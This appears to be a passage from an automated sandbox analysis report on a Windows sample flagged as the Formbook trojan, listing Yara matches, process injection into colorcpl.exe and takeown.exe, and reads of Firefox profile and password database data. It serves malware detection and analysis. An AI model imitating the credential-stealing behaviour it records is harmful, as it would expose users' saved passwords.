Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_0311FB76 13_2_0311FB76
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_0307FB80 13_2_0307FB80
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_0309DBF9 13_2_0309DBF9
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_030D5BF0 13_2_030D5BF0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03117A46 13_2_03117A46
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_0311FA49 13_2_0311FA49
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_030D3A6C 13_2_030D3A6C
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_030FDAAC 13_2_030FDAAC
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_030A5AA0 13_2_030A5AA0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03101AA3 13_2_03101AA3
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_0310DAC6 13_2_0310DAC6
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_030F5910 13_2_030F5910
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03069950 13_2_03069950
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_0307B950 13_2_0307B950
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_030CD800 13_2_030CD800
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_030638E0 13_2_030638E0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_0311FF09 13_2_0311FF09
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03061F92 13_2_03061F92
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_0311FFB1 13_2_0311FFB1
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03069EB0 13_2_03069EB0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03063D40 13_2_03063D40
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03111D5A 13_2_03111D5A
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_03117D73 13_2_03117D73
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_0307FDC0 13_2_0307FDC0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_030D9C32 13_2_030D9C32
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_0311FCF2 13_2_0311FCF2
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_00681D10 13_2_00681D10
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_0067CC60 13_2_0067CC60
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_0067CC58 13_2_0067CC58
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_0067CE80 13_2_0067CE80
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_0067AF00 13_2_0067AF00
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_006853D0 13_2_006853D0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_006835AC 13_2_006835AC
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_006835B0 13_2_006835B0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_0069BA40 13_2_0069BA40
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_00CEE345 13_2_00CEE345
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_00CEE463 13_2_00CEE463
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_00CED868 13_2_00CED868
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_00CEE807 13_2_00CEE807
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_00CECB08 13_2_00CECB08
Found potential string decryption / allocating functions
Source: C:\Windows\SysWOW64\takeown.exe Code function: String function: 030DF290 appears 105 times
Source: C:\Windows\SysWOW64\takeown.exe Code function: String function: 03095130 appears 58 times
Source: C:\Windows\SysWOW64\takeown.exe Code function: String function: 030A7E54 appears 111 times
Source: C:\Windows\SysWOW64\takeown.exe Code function: String function: 030CEA12 appears 86 times
Source: C:\Windows\SysWOW64\takeown.exe Code function: String function: 0304B970 appears 277 times
Source: C:\Users\user\Desktop\z10982283782.exe Code function: String function: 02AA89D0 appears 45 times
Source: C:\Users\user\Desktop\z10982283782.exe Code function: String function: 02AA894C appears 56 times
Source: C:\Users\user\Desktop\z10982283782.exe Code function: String function: 02A946D4 appears 244 times
Source: C:\Users\user\Desktop\z10982283782.exe Code function: String function: 02A94500 appears 33 times
Source: C:\Users\user\Desktop\z10982283782.exe Code function: String function: 02A94860 appears 949 times
Source: C:\Users\user\Desktop\z10982283782.exe Code function: String function: 02A944DC appears 74 times
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: String function: 22777E54 appears 111 times
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: String function: 22765130 appears 58 times
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: String function: 2279EA12 appears 82 times
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: String function: 227AF290 appears 103 times
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: String function: 2271B970 appears 277 times
Sample file is different than original file name gathered from version info
Source: z10982283782.exe Binary or memory string: OriginalFilename vs z10982283782.exe
Source: z10982283782.exe, 00000000.00000002.1351975173.00000000028F3000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameeasinvoker.exej% vs z10982283782.exe
Source: z10982283782.exe, 00000000.00000003.1236423933.0000000002900000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameLOADER.EXEB vs z10982283782.exe
Source: z10982283782.exe, 00000000.00000003.1236633827.000000007F8FF000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameeasinvoker.exej% vs z10982283782.exe
Source: z10982283782.exe, 00000000.00000003.1236633827.000000007F8FF000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameLOADER.EXEB vs z10982283782.exe
Source: z10982283782.exe, 00000000.00000003.1236423933.00000000028FC000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameeasinvoker.exej% vs z10982283782.exe
Source: z10982283782.exe, 00000000.00000003.1235919667.000000007FB0F000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameeasinvoker.exej% vs z10982283782.exe
Source: z10982283782.exe, 00000000.00000002.1352966142.0000000002ABE000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameeasinvoker.exej% vs z10982283782.exe
Source: z10982283782.exe, 00000000.00000002.1352966142.0000000002ABE000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameLOADER.EXEB vs z10982283782.exe
Source: z10982283782.exe, 00000000.00000002.1351975173.00000000028F7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameLOADER.EXEB vs z10982283782.exe
Source: z10982283782.exe, 00000000.00000002.1416330856.000000007FA2F000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameLOADER.EXEB vs z10982283782.exe
Uses 32bit PE files
Source: z10982283782.exe Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
Yara signature match
Source: 10.2.colorcpl.exe.65f0000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 10.2.colorcpl.exe.65f0000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000A.00000002.1523878243.0000000004A20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000E.00000002.2494174819.0000000004C40000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000A.00000002.1523941389.00000000065F0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000D.00000002.2488106328.0000000000670000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000D.00000002.2491687518.0000000000B30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000D.00000002.2491841213.0000000000B80000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000C.00000002.2492246864.0000000005060000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000A.00000002.1539377405.0000000025240000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@7/1@11/8
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02A97FD2 GetDiskFreeSpaceA, 0_2_02A97FD2
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02AAAD98 CreateToolhelp32Snapshot, 0_2_02AAAD98
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02AA6DC8 CoCreateInstance, 0_2_02AA6DC8
Source: C:\Windows\SysWOW64\takeown.exe File created: C:\Users\user~1\AppData\Local\Temp\dGg-0-kL Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Program Files\Mozilla Firefox\firefox.exe File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: takeown.exe, 0000000D.00000002.2488818800.00000000009FD000.00000004.00000020.00020000.00000000.sdmp, takeown.exe, 0000000D.00000003.1713491005.00000000009CE000.00000004.00000020.00020000.00000000.sdmp, takeown.exe, 0000000D.00000002.2488818800.00000000009CE000.00000004.00000020.00020000.00000000.sdmp, takeown.exe, 0000000D.00000002.2488818800.00000000009D8000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: z10982283782.exe ReversingLabs: Detection: 52%
Source: z10982283782.exe Virustotal: Detection: 54%
Source: C:\Users\user\Desktop\z10982283782.exe File read: C:\Users\user\Desktop\z10982283782.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\z10982283782.exe "C:\Users\user\Desktop\z10982283782.exe"
Source: C:\Users\user\Desktop\z10982283782.exe Process created: C:\Windows\SysWOW64\colorcpl.exe C:\Windows\System32\colorcpl.exe
Source: C:\Program Files (x86)\MHJugyuzUaheNGpkBeFBNlDyEOcFcyRVbempThHnCRYANZZY\ObMmiCfBgqmt.exe Process created: C:\Windows\SysWOW64\takeown.exe "C:\Windows\SysWOW64\takeown.exe"
Source: C:\Windows\SysWOW64\takeown.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\z10982283782.exe Process created: C:\Windows\SysWOW64\colorcpl.exe C:\Windows\System32\colorcpl.exe Jump to behavior
Source: C:\Program Files (x86)\MHJugyuzUaheNGpkBeFBNlDyEOcFcyRVbempThHnCRYANZZY\ObMmiCfBgqmt.exe Process created: C:\Windows\SysWOW64\takeown.exe "C:\Windows\SysWOW64\takeown.exe" Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe" Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: url.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: ieframe.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
